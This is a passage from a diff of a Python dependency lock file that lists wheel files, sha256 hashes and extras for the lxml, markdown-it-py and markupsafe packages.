"lxml-6.1.1-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f2ec43df44b1f76249ee0a615334f9b5b060e1c8bd90e706dad2d14d02f383"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:70ef8a7e102a1508f8121aae5b0867abd663f72c14f0a9c937e6554cb4587b7b"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ebe6af670449830d6d9b752c256a983291c766a1365ba5d5460048f9e33a7818"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:27acc820660aaffa4f7c087f29120e12980f7779d56d8492d263170111284740"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:1db753c9115ec7100d073b744d17e25e88a8f90f5c39b2f5dd878149af59671f"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c4f469aebd783bb741c2ecb2a681008fd26bfe5c16a9a72ed5467f834e810df2"}, + {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:766b010012d59470072c1816b5b6c69f1d243e5db36ea5968e94accf430a4635"}, + {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b8d812c6011c08b8111a15e54dd990b8923692d80adf35488bee34026c35accf"}, + {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:fe0306bd29505a9177aac19f1877174b0e7422c222a59f70b2cd41633448c3dc"}, + {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:5ba186ad207446c65d3bb3d3e0412b032b1d9f595e59861e2354798c5703d955"}, + {file = "lxml-6.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:aa366a1e55b8ebfe8ca8ddc3cfe75c8ebade181aeb0f661d0cb05986b647f72a"}, + {file = "lxml-6.1.1-cp312-cp312-win32.whl", hash = "sha256:126c93f7f56f0eda92f6d8c619edc463a4f23d9252f1c9d0405a76f25fa9f11a"}, + {file = "lxml-6.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:26e6eda8d38c1fcab1090dd196ee87cbd13788e531937610e2589085de074e77"}, + {file = "lxml-6.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:6540377fbd53fe1b629172288c464fb18db11ce1fa7dc15891da10aa9dcc3e7f"}, + {file = "lxml-6.1.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:68a9198d0fc122d14bb76837de9aa80cf84caed990b5b237f532ed87d3706736"}, + {file = "lxml-6.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7d47866cb32fb503450b6edc9df355d10dc49836af2e89901bd6ac6b0896d9d9"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb7c9811bfaa8b1ed5ed319f5d370dfbcaa59d52ea64be2a5a85e18195930354"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:762ff394d5bd56da0cf034a23dcce4e13923f15321a2adfa2ac00201dc6d3fca"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a088f287f7d8275a33c07f2cac6c50b9319309a0200a39e7e75d80c707723099"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e902da4b04e6b52e5893900d4b8ab46068f75f3561f01bf1080957f9fd932ed6"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d4962d4c66bf830a7e59ed6cfc17d148149898a3aefa8ec6e59763e6e3ed085"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:581d4c8ae690a6609e64862dd6b7c2489635c2d13907fc2b20f2bc200ff1d21e"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:876e1ff5930ed8bf295ec5ef9a8155e9b6b1876bbf1deed8b3a8069311875a8f"}, + {file = "lxml-6.1.1-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9eb9b5a968f6e0f6d640092a567e14529ff8cea2e29d00da6f78a79fa49f013c"}, + {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:aa49e06d94aba782c6a02eecb7e507969e7e7a41b267f1b359bb35585f295d5b"}, + {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:70cdfd80589d59e43e18005dd7244e8895e93db8ab6a620b7e23df5445a4e3d2"}, + {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:aad9aa39483ed8ec44d6d2e59e5b98a0d80676ef0d92f44bfc374836111f62f5"}, + {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:d49514be2f28d895c38cf9d2b72d7b9a07d00314519f456c0b50b53cfcf4c785"}, + {file = "lxml-6.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:47402e62c52ff5988c1e8c6c63177f5708bccf48e366dea4e3dcf1e645e04947"}, + {file = "lxml-6.1.1-cp313-cp313-win32.whl", hash = "sha256:3483644525531e1d5762b0c44a8e18b6efba321b6dcf8a8952de10b037618bca"}, + {file = "lxml-6.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:a10bd2fd62e8ce916ececb342f348f190724a098c1faa056fdfb2a22ad5e8660"}, + {file = "lxml-6.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:424aa57aca0897eb922aef34395bd1289b3b6f04e6bae20ea123c0c7e333cffc"}, + {file = "lxml-6.1.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:19b7ab10b210b0b3ad7985d9ac4eb66ab09a90b20fe6e2f7ba55d01a234345d0"}, + {file = "lxml-6.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c08e5c694306507275f2290073350c4f32e383db15213b2c69e7ff39c1193840"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:74a9717fd0d82effef5c2854f0d917231d5324b5a3eb7275c43ac9fa32f97a14"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:efe0374196335f93b53269acd811b944f2e6bdc88e8894f214bd636455484909"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ac931cdc9442c1763b8a8f6cd62c0c938737eafc5be75eff88df55fc73bc0d00"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:aee395f5d0927f947758b4ec119fd5fc8ec71f07a1c5c52077b30b04c0fa6955"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9395002973c827b3ed67db77e6ec09f092919a587022174554096a269378fb13"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:73bc2086f141224ebddb7fc5c6a36ca58b31b94b561e1dfe8e073e3270fad1e7"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3779def59032b81e44a5f70096ef6bf2082f8d901937dca354474ba09782e245"}, + {file = "lxml-6.1.1-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:86c89b9d55ebf820ad7c90bc533410f0d098054f293351f10603c0c46ff598f5"}, + {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19607c6bbff2a44cf3fe8250abccd20942d3462473e0a721d01d379ed017e462"}, + {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c6ed5141a5c7507cf3ee76bd363b0d6f801e3321adc35b5d825a23115faa5465"}, + {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:62aeb7e85b5d60320b9d77eef2e773994e2c0ce10121b277e0a19804e1654a5a"}, + {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b1b963fd8f5caa68e99dfae060d54de1fe9cba899b8718b44a00cdca53c3e590"}, + {file = "lxml-6.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:63876be28efefa04a1df615b46770e82042cce445cfdce55160522f57b231ccb"}, + {file = "lxml-6.1.1-cp314-cp314-win32.whl", hash = "sha256:7f7a92e8583f06b1fd49d01158143b8461cfcd135dcb10ec807270a3051bd603"}, + {file = "lxml-6.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:b2d444f2e66624d68e9c6b211e28a76e22fff5fcabcfff4deac18b529b7d4137"}, + {file = "lxml-6.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:3fd9728a2735fda14f4e8235830c86b539e9661e849665bf926d3f867943b4bf"}, + {file = "lxml-6.1.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:787b2496d0dbe8cd180984e8d29e3a6f76e7ea34db781cb3bd55e4ba1ef8b4ee"}, + {file = "lxml-6.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:2c8daa471358dc2d6fcf02165e80ec68f77871a286df95bc5cc3816153b0fd2c"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:acd7d70b64c0aae0c7922cca83d288a16f5f6da523637697872253415269baef"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4f0dd2f01f9f8a89f565d000e03abcf0a13d692a346c8d22f628d49af098777a"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0b7e8a14c8634bf6f7a568634cb395305a6d964aeb5b7ee32248094bed3a7e2c"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:86281fbdd6a8162756f8d603f37e3435bfa38043adb79c6dc6a2dfee065e7525"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c5d7152ec39ca7c402d8fb9bad86140a15b9503bd0c54484e3f1bbe3dd37ceca"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:88d8cb75b9d82858497a5393e3c63cfbf03035225e4b35a49ed7ccb151e4dc0e"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f64ec5397ea6a41fc1b4af0380d79b44a755b5531dcaccd9940fb260dca93038"}, + {file = "lxml-6.1.1-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d34bbf07dbc7ca5970671b1512e928991fb5e9d95365636c9b2d8b4f53af405e"}, + {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:17e0e18d4ad8adbd0399291bc44845b69d9dd68439a3cdebdf35ff902ec05072"}, + {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:3ab541146f1f6968c462d6c2ac495148e8cdba2f8347700b2141b6ec5a75bf52"}, + {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:2a0217714657e023ef4293500f65aa20fce6164c8fd6b08fa5bd4a859fb14b9b"}, + {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:05a82eb6e1530a64f26225b55cbd178113bd0b5af1c2b625f25e5296742c26d2"}, + {file = "lxml-6.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9e36f163528fc50cbef305f02a5fd66d404edf7049cdaff211dbc2cba5a7013e"}, + {file = "lxml-6.1.1-cp314-cp314t-win32.whl", hash = "sha256:649dda677cf3bd6ac9ae14007ba0c824ded8ce5808b53fc7431d9140399118c1"}, + {file = "lxml-6.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:793033d6c5cdf33a573f910d9bea14ef8f5771820411d118da8e1182edb53d5e"}, + {file = "lxml-6.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:58bb955caba94e467d2a96da17660d2d704e0675894cba21ab8a775b8621fd1c"}, + {file = "lxml-6.1.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6689e828a94eee4f139408c337bb198e014724bb8a8c26d3cfac49d119ed69a6"}, + {file = "lxml-6.1.1-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bdebcc8a75d38c7598dfb2c9ed852d7a9eb4a10d6e2d0764b919b802bf32ac88"}, + {file = "lxml-6.1.1-cp38-cp38-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8be8ad51249698103d24b0571df35a10990fbe93dd043b6c024172189485f5e3"}, + {file = "lxml-6.1.1-cp38-cp38-manylinux_2_28_i686.whl", hash = "sha256:76447f65250ed2501ead1a1552f5ce8edff159a86f308348e6a9c4acb5e1f1b4"}, + {file = "lxml-6.1.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:ffecec8eb889b58ba9be5b95fb1cc78e22ea8eedea38e8736a1568fe1979250e"}, + {file = "lxml-6.1.1-cp38-cp38-win32.whl", hash = "sha256:c674693f055fa2495de12292cb45e9944199d8eaef5a2dec45175c7c61cb73e3"}, + {file = "lxml-6.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:55b03549819867ea141c0202242c4816c82e52ec36e7e648db9d8da5a3dc3ed6"}, + {file = "lxml-6.1.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c9f79d5325907f13e1be0b3e4dacc1049d1dffc4aeee3c995284bea5fe0fab7d"}, + {file = "lxml-6.1.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:83b6b30eb131da7a75b601f28c5d6971e6ed3e887919bf6b6a1ad3c2df289080"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:441dd227fa0690eb9fc81edabc63cdcefc212bba99b906dcf6e32cc1a9d3e533"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:e07c65f443c887bbcf31cc1771d932ecc192a5273943589b3c7572b749f1ffb2"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5bec7d03d78d853597d6107854c2310ce3f761fd218fe9fe91d5101fcf6c2efe"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9f76acfb5f68ba982635a53fd985a8044be98a35b43232c2a1ee235ffab3e1dd"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux_2_28_i686.whl", hash = "sha256:8d43ca737b20e106e4aebc42b2f3ae19f00ba63d7eb731698ee083d72d15646f"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:32ab449a5486f6c758e849bb86710d0e45edc24a04e250c01555f8f5653958f8"}, + {file = "lxml-6.1.1-cp39-cp39-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:53c909b62a0532183542fed00c5a7218258c56292d409bc789886fe1cb04c438"}, + {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:640f97d43d867bcb9c75b3af013b64850756b746cb6bce8ace83b70da3abba9d"}, + {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:469e3618338bd7ab5beb412d2439825479fcf0dab99e394ca563dbc4eaf6c834"}, + {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:aae97dfdb60715c164419ac2532a76d013c3918a665eb6cb7288098b5f349aaf"}, + {file = "lxml-6.1.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c9a4b821dc7055bf9e05ff5719e18ec501f75c0f0bbfabd573b277559780833d"}, + {file = "lxml-6.1.1-cp39-cp39-win32.whl", hash = "sha256:639f6c857d91d9be29bd7502348d6736dab168b54b5158cd899abf11684dc186"}, + {file = "lxml-6.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:34c2d737beabfe35baada43941ed519251e9a12e779031496bcd5d539fcfd730"}, + {file = "lxml-6.1.1-cp39-cp39-win_arm64.whl", hash = "sha256:07a4a68e286ee7a1ed7dfb8af83e615757c0ccfe9f18c6b4ea6771388d9ba8c9"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:31033dc34636ea6b7d5cc11b1ddbda78a14de858ba9d3e1ed4b69a3085bc521e"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3893c14c4b6ac5b2d54ba8cf03e99fe5104e592de491f19bd6b82756c09f8004"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c07da4cebf6889f03ebac8d238f62318e29f495de0aa18a51ea14e61ae907e2e"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f6f0ce10945fab9c4c06ce14e22af9059d1a87493a9af4501a5b0b9187e21cf2"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f8844cd288697c6425c9beba919302241e3278871dc6519515e72b04e987abcf"}, + {file = "lxml-6.1.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:ed21202aec73cda4d55d1ce57b389aadb90ffb044e6cd1080b8347efe1b1ec84"}, + {file = "lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40"}, +] + +[package.extras] +cssselect = ["cssselect (>=0.7)"] +html-clean = ["lxml_html_clean"] +html5 = ["html5lib"] +htmlsoup = ["BeautifulSoup4"] + +[[package]] +name = "markdown-it-py" +version = "4.2.0" +description = "Python port of markdown-it. Markdown parsing, done right!" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a"}, + {file = "markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49"}, +] + +[package.dependencies] +mdurl = ">=0.1,<1.0" + +[package.extras] +benchmarking = ["psutil", "pytest", "pytest-benchmark"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "markdown-it-pyrs", "mistletoe (>=1.0,<2.0)", "mistune (>=3.0,<4.0)", "panflute (>=2.3,<3.0)"] +linkify = ["linkify-it-py (>=1,<3)"] +plugins = ["mdit-py-plugins (>=0.5.0)"] +profiling = ["gprof2dot"] +rtd = ["ipykernel", "jupyter_sphinx", "mdit-py-plugins (>=0.5.0)", "myst-parser", "pyyaml", "sphinx", "sphinx-book-theme (>=1.0,<2.0)", "sphinx-copybutton", "sphinx-design"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions", "pytest-timeout", "requests"] + +[[package]] +name = "markupsafe" +version = "3.0.3" +description = "Safely add untrusted strings to HTML/XML markup." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559"}, + {file = "markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1"}, + {file = "markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa"}, + {file = "markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8"}, + {file = "markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1"}, + {file = "markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad"}, + {file = "markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a"}, + {file = "markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19"}, + {file = "markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01"}, + {file = "markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c"}, + {file = "markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e"}, + {file = "markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b"}, + {file = "markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d"}, + {file = "markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c"}, + {file = "markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f"}, + {file = "markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795"}, + {file = "markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12"}, + {file = "markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed"}, + {file = "markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5"}, + {file = "markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485"}, + {file = "markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73"}, + {file = "markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = 